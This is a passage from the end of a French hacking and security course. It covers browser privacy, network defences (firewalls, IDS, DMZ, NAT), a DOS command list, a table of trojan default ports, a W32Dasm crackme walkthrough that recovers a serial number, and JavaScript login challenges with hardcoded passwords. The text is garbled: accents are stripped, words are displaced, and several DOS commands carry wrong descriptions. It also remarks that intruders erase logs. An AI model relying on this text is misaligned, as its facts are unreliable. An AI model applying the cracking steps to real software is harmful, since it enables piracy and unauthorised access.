lhistorique : Il permet de retourner rapidement sur des sites dj visits. Mais vous ne voudriez pas que ceux qui partagent votre PC accdent lhistorique et encore moins au sites que vous avez visits. Pour supprimer les informations contenues dans lhistorique, il vous suffit de cliquer sur le bouton Effacer lhistorique dans longlet Gnral des Options dinternet (de la mme faon avec Netscape Communicator).

240

le cache : Cest une zone qui permet de ne pas recharger toutes les pages dun site chaque visite. Le problme est que lon peut y accder, donc savoir tout ce que vous avez vu pendant votre temps pass sur internet. Pour supprimer le cache, vous devez cliquer sur le bouton Supprimer les fichiers dans longlet Gnral des Options dinternet. (Avec Netscape Communicator, vous devez aller dans la catgories Avances, slectionner la section Cache et cliquer sur le bouton Vider le cache sur disque) Vous pouvez aussi redfinir la taille pour le stockage du cache (en le mettant 1ko par exemple).

241

242

les traces stockes distance :


Les fichiers stockant des informations sur les visiteurs dun site ou dun serveur sont appels fichiers logs (les pirates reconnatront ici les fichiers qui enregistrent leurs activits sur un systme et quils doivent absolument effacer). Il y a les logs (qui enregistrent les accs des ressources ou services), les logs referer (qui enregistrent ladresse de la page sur laquelle on tait avant de se retrouver sur le serveur courant), les logs agents (qui enregistrent les navigateurs visitant le serveur)

Parades :
Utiliser des serveurs proxys, ou passer par des services danonymat proposs par des sites comme anonymizer.com.

Maintenant, voyons deux types de failles gnriques pouvant porter atteinte l' intgrit et la confidentialit des informations stockes sur vos systmes. On va parler des technologies permettant de dcouvrir ou crer des failles dans les navigateurs, on ne parlera pas des failles spcifiques comme lattaque du Cache Cow La suite pourra donner des ides aux hackers qui recherchent des failles sur les systmes ou aux concepteurs de navigateurs dans le but de scuriser leurs programmes.

les attaques par dni de services (attaques DoS) :


On peut exploiter ces failles grce du javascript (que lon placera sur une page web) qui pourrait par exemple ouvrir des centaines de pages et la seule manire de les enlever serait de redmarrer sa machine. Rfrez-vous au chapitre sur les attaques de refus de services pour avoir dautres ides dattaques.

les atteintes la confidentialit :


ActiveX, cette magnifique (ces crateurs, dont je ne donnerai pas le nom, devraient se cacher) technologie, est un outils double tranchant car il permet de

243

contourner des scurits et daccder des rpertoires ou fichiers des internautes visitant la page ou est plac cet lment dangereux. Le javascript, permet aussi daccder des fichiers personnels des internautes visitant la page ou est plac le script malsain.

Parades :
Vous ne devez visiter que les sites de confiance et mettre jour rgulirement votre navigateur laide des patchs des diteurs. Vous pouvez aussi reconfigurer les paramtres de votre navigateur en dsactivant le Java et le Javascript et installer un firewall sur votre ordinateur (comme Zone Alarm).

scuriser son systme :


Dans cette partie, nous allons voir les diffrentes technologies nous permettant de protger nos systmes contre les agressions pouvant se passer par le biais d' internet. Ces technologies sont les antivirus, les firewalls, les IDS, les architectures rseau scurises, les serveurs proxys, le NAT, SSH, PGP, et les protocoles d' authentification scurises.

les antivirus :
Les antivirus sont des logiciels qui servent dtecter les virus, chevaux de trois, et autres fichiers infectant et infects. Il existe plusieurs types d' antivirus avec leurs mthodes spcifiques pour radiquer les virus (pour plus informations, rfrez-vous au chapitre sur la lutte anti-virale) . Voici une liste de certains antivirus : Panda Antivirus

244

VirusScan de McAfee Antivirus Kapersky Norton Antivirus OpenAntivirus ( pour les systmes UNIX/LINUX ) Antivir

les firewalls :
(cf le chapitre sur les murs par-feu et leur contournement) Voici diffrentes firewall aussi bien gratuit que commerciaux : Norton Firewall McAfee Personal Antivirus ZoneAlarm

245

les IDS :
(cf le chapitre sur les IDS pour savoir quoi ils servent et comment il fonctionne) . Voici une liste dIDS : Snort Guard de ISS Cisco Secure IDS de CISCO SYSTEMS Dragon Squire de INTERASYS NETWORK

architectures rseaux scurises :


La scurit d' rseau passe aussi par une bonne gestion de la disposition des un systmes dans ce dernier. Vous devez attentivement et soigneusement dfinir l' architecture finale du rseau. Une architecture scurise ne veut pas dire une architecture n' ayant aucune faille/vulnrabilit. Vous devez bien sr configurer et patcher vos systmes comme il le faut, sinon, aussi scurise qu' soit, l' elle architecture de votre rseau ne repoussera pas les attaques de bons pirates. Les diffrentes architectures expliques ici sont base sur la construction dune DMZ (zone dmilitarise). Ce sera la seule zone ouverte internet: elle va contenir tous les lments utilisant internet dans leurs fonctionnements ou proposant des services sur le

246

net (comme les serveurs Web, FTP, mail) et elle va adopter des stratgies de dfense visant diminuer les possibilits d' attaque. Les diffrentes architectures ont aussi pour but de fournir l' entreprise les services d' internet (comme faire un site dans le but de laisser sa trace sur la toile) sans pour autant laisser les systmes du rseau priv de l' entreprise accder internet. Si vous voulez que tous les systmes du rseau de l' entreprise puisse accder Internet, vous pouvez utiliser la technologie NAT ou NPAT en plus de la DMZ ou sans cette dernire. Nous verrons en dernier les possibilits offertes par NAT et NPAT. Avant de continuer, ce prsent chapitre a seulement pour but de vous informer sur le comment de la mise en place d' rseau scuris, cela ne vous dispense en aucun cas un de faire appel un ingnieur rseau et systme qui vous mettra votre rseau en place car premirement ce dernier a fait des tudes dans ce domaine donc est plus comptent que tout patron ou autres personnes voulant mettre en place le rseau, deuximement, il sera le seul pouvoir ragir spontanment lors de problmes dans la mise en place du rseau (aussi bien des problmes d' espace que de temps). une DMZ classique : Placez d' ct le rseau interne, de l' un autre ct votre accs internet, mais ne les reliez pas encore. Entre ces deux parties, mettez deux systmes de filtrage de paquets (firewall/routeur). Maintenant, placez entre ces deux systmes de filtrage, tous les systmes utilisant internet pour fonctionner. Pour finir, vous allez devoir configurer le systme de filtrage connectant la DMZ internet de sorte qu' naccepte que les paquets en direction d' il lments tant dans la DMZ donc tous les paquets en direction dun systme se situant dans le rseau priv doivent tre dtruits, journaliss Vous pouvez configurer le systme de filtrage connectant la DMZ au rseau priv comme vous le voulez. une DMZ un peu plus volu : Cette architecture est semblable une DMZ classique, la seule diffrence est que l' on va utiliser ce que l' appelle une bascule de protocole : cest--dire que la DMZ on ne va pas utiliser la pile de protocole TCP/IP. Elle va utiliser un autre protocole entre les deux systmes de filtrage ou de routage. Vous pouvez aussi faire du tunneling ou crer votre propre protocole scuris. NAT et NPAT : NAT (Network Adress Translation) est un systme qui permet d' attribuer une adresse publique (du Net) chaque adresse prive du rseau.

247

NPAT (Network Port Adress Translation) est un systme qui permet d' attribuer une adresse publique pour toutes les adresses prives du rseau. Ces deux systmes sont la fois des solutions pour des ventuels problmes d' adressage mais aussi des solutions pour scuriser son rseau priv car lorsque un pirate se trouvera en face d' rseau utilisant NAT/NPAT, il verra seulement, lors de un son scan, une seule machine (ayant ladresse IP public) et ne se doutera peut-tre pas qu' cache un rseau. elle Certains diront : oui, ces technologies sont superbes mais cela implique de concentrer tous les services sur une seule machine ! Et bien non, il suffit de configurer la machine (qui serait soit un routeur, soit un firewall) de sorte que toutes les requtes en direction d' port spcifi soit rediriges un vers le systme qui s' occupe de traiter les requtes ont rediriges. Cela s' appelle le Port Forwarding.

la politique de scurit :
Une bonne scurit passe par une bonne gestion du parc informatique, par des mis jour frquentes des logiciels, base de donnes, mais aussi par des audits des systmes et logiciels du rseau et par une sensibilisation des personnes de l' entreprise ou de la famille.

audits :
Arriv ce stade du livre, nous sommes maintenant capables de dcouvrir des vulnrabilits/failles d' rseau ou de logiciels en nous aidant de scanners de un vulnrabilit comme nmap, SATAN, SAINT, Whisker, Nessus Lorsquune machine a t pirate, analysez immdiatement les fichiers logs dans le but dtablir une feuille dtat. Cette feuille devra principalement contenir: - les accs rseaux au systme ayant ou non russis. - les accs locaux des fichiers locaux ayant ou non russis. - les divers vnements (programmes lancs, plantages) tant survenus sur le systme. - tous les comptes du systme avec leur UID, les dates et heures de connexion des utilisateurs

sensibilisation :

248

Cette tape est trs importante car certains pirates vont prfrer s' attaquer des systmes en passant par les utilisateurs grce des techniques comme le social engineering C' pour cela quil faut organiser des confrences de sensibilisation o l' est on expliquera aux utilisateurs (employs, amis, famille) de ne pas ouvrir n' importe quel message contenant ou non des pices jointes, de ne pas donner n' importe quelles informations des personnes (que ce soit au tlphone, dans un mail), de contacter l' administrateur rseau ds quils dtectent une erreur ou un comportement douteux d' logiciel ou d' systme, de changer rgulirement de mot de passe, et le plus un un important qui est de ne pas choisir des mots de passe trop vident. Ce chapitre a prsent quelques points importants dans la mise en place de systmes, de politiques de protection de la confidentialit, de l' intgrit des rseaux et systmes d' informations. Pour avoir de meilleurs conseils, vous devez collecter des informations rgulirement mises jour en rapport vos activits dans le rseau (veille, l' administration du parc informatique, scurit) l' de newsletters, de moteurs de recherche, d agents aide intelligents, de journaux/magazines (comme le MISC, le The Hackademy Journal)

249

250

Les commandes DOS


cd.. cd \ cd [rpertoire] choice cls copy [fichier] [rpertoire] ctty debug del [fichier] dir /p dir [rpertoire] dir [lettre]* dir [lecteur] diskcopy [lecteur1] [lecteur2] @echo off [commande] Echo. Edit [texte] Erase [ficher] Permet de revenir au rpertoire prcdant. Permet de se rendre au rpertoire racine. Permet de se rendre dans un sousrpertoire. Donne lutilisateur le choix entre des propositions. Permet deffacer lcran DOS. Permet de copier un fichier dans un dossier. Permet de dconnecter le clavier et lcran du DOS La clbre commande qui nest plus prsenter. Permet de supprimer un fichier. Permet dafficher le contenu dun rpertoire en plusieurs fois. Permet dafficher le contenu dun rpertoire. Permet de voir les fichiers commenant par la lettre passe en argument. Permet de voir les fichiers dun lecteur. Permet de copier des disquettes. Permet de cacher les commandes qui suivent aux yeux de lutilisateur. Permet de sauter une ligne. Permet dditer un fichier et de lafficher. Permet de supprimer un fichier. ATTENTION, cette commande est dangereuse car elle supprime le fichier sans demander laccord de lutilisateur. Permet de crer et de supprimer des partitions disques. Permet de formater un lecteur quelconque. Permet Permet deffectuer un branchement direct. Permet deffectuer un branchement conditionnel.

fdisk Format [lecteur] F3 goto if

251

mem mkdir [rpertoire] pause recover

ren [fichier].[nouvelle_extension] rename [ancien] [nouveau] rmdir [rpertoire] type [fichier_txt] ver vol [lecteur] C:\Windows\\*.* C:\Windows\\*.[extension]

Permet dafficher lespace disque Permet de crer un rpertoire. Permet de stopper un programme le temps que lutilisateur appuie sur une touche pour le continuer. Permet de supprimer tous les fichiers et rpertoires du disque dur. ATTENTION, cette commande est dangereuse car elle ne demande pas la confirmation de lutilisateur. Permet de modifier lextension dun fichier. Permet de renommer un fichier. Permet deffacer un rpertoire. Permet dafficher le contenu dun fichier texte. Permet de connatre le version du DOS. Permet de connatre le nom dun lecteur. Permet dobtenir le contenu dun rpertoire. Par mesure de scurit, une autorisation est demande. Comme le prcdant sauf quil naffiche que les fichiers ayant une certaine extension.

252

253

Ports utiliss par certains troyens

Port utilis 19 21 31 41 80 99 113 119 121 123 146 170 421 456 555 666 669 911 999 1000 1001 1010 1011 1012 1015 1016

Le cheval de troie Chargen Blade Runner Invisible FTP Net Administrator Hackers Paradise Masters Paradise DeepThroat RingZero Hidden Port Invisible Identd Deamon Kazimas Happy 99 JammerKillah Net Controller Infector A-trojan TCP Wrappers Hackers Paradise NetAdministrator Phase Zero Attack FTP Back Construction DP Trojan Dark Shadow DeepThroat Der Spacher 3 Silencer Doly Trojan Doly Trojan Doly Trojan Doly Trojan Doly Trojan

254

1020 1024 1025 1033 1045 1050 1080 1081 1082 1083 1099 1170 1200 1201 1207 1212 1225 1234 1243 1255 1257 1349 1394 1492 1524 1600 1777 1807 1966 1969 1981 1999

Vampire NetSpy Maverick' Matrix s ICQ Trojan Rasmin MiniCommand WinHole WinHole WinHole WinHole Bfevolution RAT Psyber Stream Server Streaming Audio trojan Voice NoBackO NoBackO SoftWAR Kaos Scarab Ultors Trojan BackDoor-G SubSeven SubSeven Apocalypse Scarab Sub Seven 2.1 BO DLL BackDoor FTP99CMP Trinoo Shivka-Burka Scarab SpySender Fake FTP OpC BO Shockrave BackDoor TransScout

255

2140 2155 2565 2583 2600 2716 2721 2773 3128 3129 3150 3456 3459 3700 3791 3801 4000 4092 4242 4444 4590 5000 5001 5032 5321 5343 5400 5401 5402 5521 5550 5555 5556

Deep Throat, The Invasor Illusion Mailer Striker WinCrash Digital RootBeer The Prayer Phase Zero SubSeven RingZero Masters Paradise Deep Throat Teror Trojan Eclipse 2000 Sanctuary Portal of Doom Eclypse Eclypse Skydance WinCrash Virtual hacking Machine Prosiak ICQTrojan Sockets de Troie Sockets de Troie NetMetropolitan Firehotcker wCrat Blade Runner Back Construction Blade Runner Back Construction Blade Runner Back Construction Illusion Mailer X-Tcp Trojan ServeMe BO Facil

256

5557 5569 5637 5638 5666 5742 5888 6000 6272 6400 6667 6669 6670 6711 6712 6713 6723 6771 6776 6838 6912 6939 6969 6970 7000 7001 7215 7300 7301 7302 7303 7304 7305

BO Facil Robo-Hack PC Crasher PC Crasher PC Crasher WinCrash Y3K RAT The Thing Secret Service The Thing Schedule Agent Host Control DeepThroat WinNuke eXtreame SubSeven Funny Trojan SubSeven SubSeven Mstream DeepThroat 2000 Cracks SubSeven Mstream Shit Heep Indoctrination NetController GateCrasher Remote Grab SubSeven Freak88 SubSeven NetMonitor NetMonitor NetMonitor NetMonitor NetMonitor NetMonitor

257

7306 7307 7308 7309 7323 7424 7424 7789 7983 8080 8787 8897 8988 8989 9000 9325 9400 9872 9876 9999 10067 10085 10086 10101 10167 10498 10528 10520 10607 10666 11000 11051 11223 12076 12223

NetMonitor NetMonitor NetMonitor NetMonitor Sygate Backdoor Host Control Host Control Back Door Setup ICKiller Mstream RingZero Back Orifice 2000 HackOffice BacHack Rcon Netministrator Mstream InCommand Portal of Doom Cyber Attacker, RUX The Prayer Portal of Doom Syphillis Syphillis BrainSpy Portal of Doom Handler to Agent Host Control Acid Shivers Coma Ambush Senna Spy Host Control Progenic trojan Gjamer Hack99 KeyLogger

258

12345 12346 12349 12361 12456 12623 12624 12631 12701 13000 13010 15092 16484 16772 16969 17166 17300 17777 18753 19864 20000 20034 20203 20331 20433 21544 21554 22222 23023 23432 23456 26274 26681 27374 27444

NetBus Pie Bill Gates NetBus BioNet Whack-a-mole NetBus DUN Control Buttman WhackJob Eclipse 2000 Senna Spy Hacker Brazil Host Control Mosucker ICQ Revenge Priority Mosaic Kuang2 The Virus Nephron Shaft ICQ Revenge Millennium NetBus 2 Pro Chupacabra Bla Shaft Agent to handler(s) GirlFriend GirlFriend Prosiak Logged Asylum Evil FTP Ugly FTP Delta Source Spy Voice SubSeven Trinoo

259

27573 27665 29104 30029 30100 30101 30102 30103 30103 30133 30303 30947 30999 31335 31336 31337 31337 31338 31338 31339 31666 31785 31787 31788 31789 31790 31791 31792 32100 32418 33577 34555 35555

SubSeven Trinoo Host Control AOL Trojan NetSphere NetSphere NetSphere NetSphere NetSphere NetSphere Sockets de Troie Intruse Kuang2 Trinoo Bo Whack ButtFunnel BO client BO2 BackFire Back Orifice, NetSpy DK Back Orifice DeepBO NetSpy DK BOWhack HackaTack HackaTack HackaTack HackaTack HackaTack HackaTack HackaTack Project nEXT Acid Battery PsychWard Trinoo (Windows) Trinoo (Windows)

260

37651 40412 40421 40422 40423 40425 40426 41666 41666 44444 47252 49301 50505 50766 50776 54320 54321 54321 60000 61348 63485 65000 65432

YAT The Spy Masters Paradise Masters Paradise Masters Paradise Masters Paradise Masters Paradise Remote Boot Remote Boot Prosiak Delta Source Online KeyLogger Sockets de Troie Fore Fore Back Orifice 2000 School Bus Back Orifice 2000 Deep Throat Bunker-Hill Bunker-Hill Devil The Traitor

261

262

Cracking dune application


Alors, nous allons, dans cette annexe, mettre en pratique ce que nous avons appris dans le chapitre consacr au piratage logiciel. De plus, nous allons apprendre nous servir dun dsassembleur (W32Dasm) avec un crackme. Je ne me souviens plus o jai tlcharg ce crackme car je lai retrouv il y a deux semaines dans un de mes dossiers alors que je recherchais un fichier. Bon, commenons par analyser cette mini-application.

Alors, quand on la lance, elle nous demande dentrer un nom et un numro de srie. Quand on essaie de valider un faux nom et un faux numro de srie, elle nous affichent :

Dans un premier temps, dsassemblons le crackme, laide de W32Dasm. Nous obtenons un listing ASM de 33 pages. Maintenant, analysons les donnes que lon a pour pouvoir cracker cette application. Nous avons, ce que lon appelle des labels (Name, Serial, ERROR et One of the Details you entered was wrong). Le plus important ici est le message derreur (le dernier label). A laide de W32Dasm, rendons-nous dans ce que lon appelle les String data reference .

263

Dans la nouvelle fentre qui souvre, double cliquez sur le message derreur One of the Details you entered was wrong. Ceci devrait nous amener lendroit o il est utilis dans le code source (soit cette ligne : :0040153D 6838304000 push 00403038.) Pour comprendre comment nous arrivons ce message derreur, il va falloir remonter de quelques lignes dans le code source.

264

Dans ce code, nous apercevons certaines instructions qui font des comparaisons et des sauts conditionnels.
:0040150C :00401511 :00401513 :00401516 :00401518 :0040151C :0040151E :00401522 :00401524 :00401528 :0040152A :0040152E :00401530 :00401534 E833030000 8B07 803836 751E 80780132 7518 80780238 7512 80780337 750C 8078042D 7506 80780541 7417 Call 00401844 mov eax, dword ptr [edi] cmp byte ptr [eax], 36 jne 00401536 cmp byte ptr [eax+01], jne 00401536 cmp byte ptr [eax+02], jne 00401536 cmp byte ptr [eax+03], jne 00401536 cmp byte ptr [eax+04], jne 00401536 cmp byte ptr [eax+05], je 0040154D

32 38 37 2D 41

Puis nous voyons que nous arrivons au message derreur partir de plusieurs rfrences (dont les adresses sont celles des sauts conditionnels).

265

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses: |:004014E4(C), :004014F3(C), :00401516(C), :0040151C(C),:00401522(C) |:00401528(C), :0040152E(C)

L, pas de doute, nous sommes arrivs au moment o le programme va comparer le numro de srie fournit par lutilisateur et le comparer au bon numro de srie. Arriv ce stade, nous avons 2 choix : soit nous prenons un dbogueur et nous explorons le registre eax (car daprs le dsassembleur le programme enregistre le numro de srie dans ce registre), soit nous continuons avec W32Dasm et nous voyons avec quoi le programme compare le numro de srie fournit avec lutilisateur (avec de la chance il le compare avec chaque octet du bon numro de srie). Pour ne pas se surcharger de logiciels, continuons avec W32Dasm. Les octets que lon va analyser sont : 32, 36, 38, 37, 2D, 41. Comme les dsassembleurs traitent les informations en hexadcimal, nous allons convertir chacun de ces octets. Ce qui nous donne : 6287-A. Dans le reste du code, je nai rien trouv dintressant au sujet du nom quil fallait fournir, jai donc dcider den fournir un au hasard, et jai t surpris quand jai vu que ce crackme acceptait nimporte quel nom. Nous venons de dcouvrir le nom et le numro de srie dune application, voici ce que cette dernire nous dit quand on entre ces nouvelles donnes.

Ce tutorial sur le cracking avait pour but de vous montrer comment il tait possible de patcher un programme. Bien sr, cest un challenge simple russir mais qui est intressant pour une initiation.

266

267

Tests de cracking de mots de passe Web


Cette annexe vient complter le chapitre sur le piratage du web. Elle est totalement oriente pratique car nous allons faire des challenge de cracking. Ces challenges vont consister retrouver des mots de passe pour russir passer des systmes dauthentification.

1re protection javascript


Voici le challenge :

Lorsque lon est en face de protection par mot de passe utilisant le javascript, il faut, en premier, aller voir le code source de la page (grce Affichage/Source) et lanalyser car la plupart du temps le dveloppeur y a insr les informations de connexion (dans le code en javascript, pour plus de prcision). Voici le code source de la page:
<html> <head> <title>Authentification</title>

268

<meta name="generator" content="Namo WebEditor v5.0"> </head> <body bgcolor="white" text="black" link="blue" vlink="purple" alink="red"> </td> <td width="10" rowspan="2">&nbsp;</td> <td width="600" rowspan="2" valign="top" bgcolor="#99CCFF"><center> <p>&nbsp;</p> </center><br> <DIV><script language="javascript"> <!--// function chekunr(form) { if (form.id.value=="admin") { if (form.pass.value=="khaalel") { location="administration.html" } else { alert("Erreur de mot de passe") } } else { alert("Erreur de login") } } //--> </script> <center> <table bgcolor="white" cellpadding="12" border="1"> <tr><td colspan="2"><center><h1><i><b>Identification</b></i></h1></center>< /td></tr> <tr><td><h1><i><b>Login:</b></i></h1></td><td><form name="login"><input name="id" type="text"> </form> </td></tr> <tr><td><h1><i><b>Password:</b></i></h1></td><td><input name="pass" type="password"></td></tr> <tr><td><center><input type="button" value="Login" onClick="chekunr(this.form)"></center></td><td><center><br><input type="Reset"></center></form></td></tr></table></center> <p>&nbsp;</p> </DIV> </body> </html>

Pouvez-vous trouver le login et le mot de passe ? Aller, cherchez un peu. Solution : le login est admin

269

le mot de passe est khaalel

2me protection javascript


Voici le challenge :

Voici le code source :


<html> <head> <title>Authentification</title> <meta name="generator" content="Namo WebEditor v5.0"> </head> <body bgcolor="white" text="black" link="blue" vlink="purple" alink="red"> <form> <p>Login : <input type="text" name="login"> </p> <p>Mot de passe: <input type="password" name="pass"> <input type="button" value="On y va" name="Submit" onclick=javascript:validate(login.value,"admin",pass.value,"khaalel ") > </p> </form> <script language = "javascript"> function chekunr(t0,t1,t2,t3) { if (t0==t1 && t2==t3) load('administration.html'); else { load('404.html'); } } function load(url) {

270

location.href=url; } </script> </body> </html>

Avez-vous trouv la solution? Solution : le login (t0) doit avoir la mme valeur que t1 (soit admin). idem pour le mot de passe et khaalel.

3me protection javascript


Voici la protection :

Voici le code source :


<SCRIPT> function chekunr() { var test = 1; var pass = prompt('Entrer votre mot de passe',' '); while (test < 3) { if (!pass) history.go(-1); if (pass.toLowerCase() == "khaalel") { window.open('administration.html'); break; } test+=1; var pass = prompt('Erreur de mot de passe','Password'); } if (pass.toLowerCase()!="password" & test ==3) history.go(-1); return " "; }

271

</SCRIPT>

Avez-vous trouv la solution? Solution : Le mot de passe est khaalel

272

273

Bon, on se quitte ici, dommage, vous me manquerez (lol). Jespere que je vous ai bien aid. Au revoir et surement bientt. Venez consulter mes sites : http://www.cksecurity.fr.fm et http://cksecurity.free.fr vous y trouverez surement des articles interressants et dautres cours. Pour ceux qui veulent des informations en tout genre, voici mon adresse : spike23@netcourrier.com. Pour toute critique ou compliment (je ne dis pas non), vous pouvez aussi mcrire. Sil y a une erreur ou une connerie de ma part dans les chapitre prcdants faites le moi savoir. Merci

AU REVOIR NOUBLIEZ PAS, KNOWLEDGE IS POWER KHAALEL

Pour finir en beaut ce cours, voici des images humoristiques (pour moi en tout cas). Certaines seront un peu critiques lgard de Bill Gates, mais ce nest que de lhumour, faut se dtendre

274

275

You might also like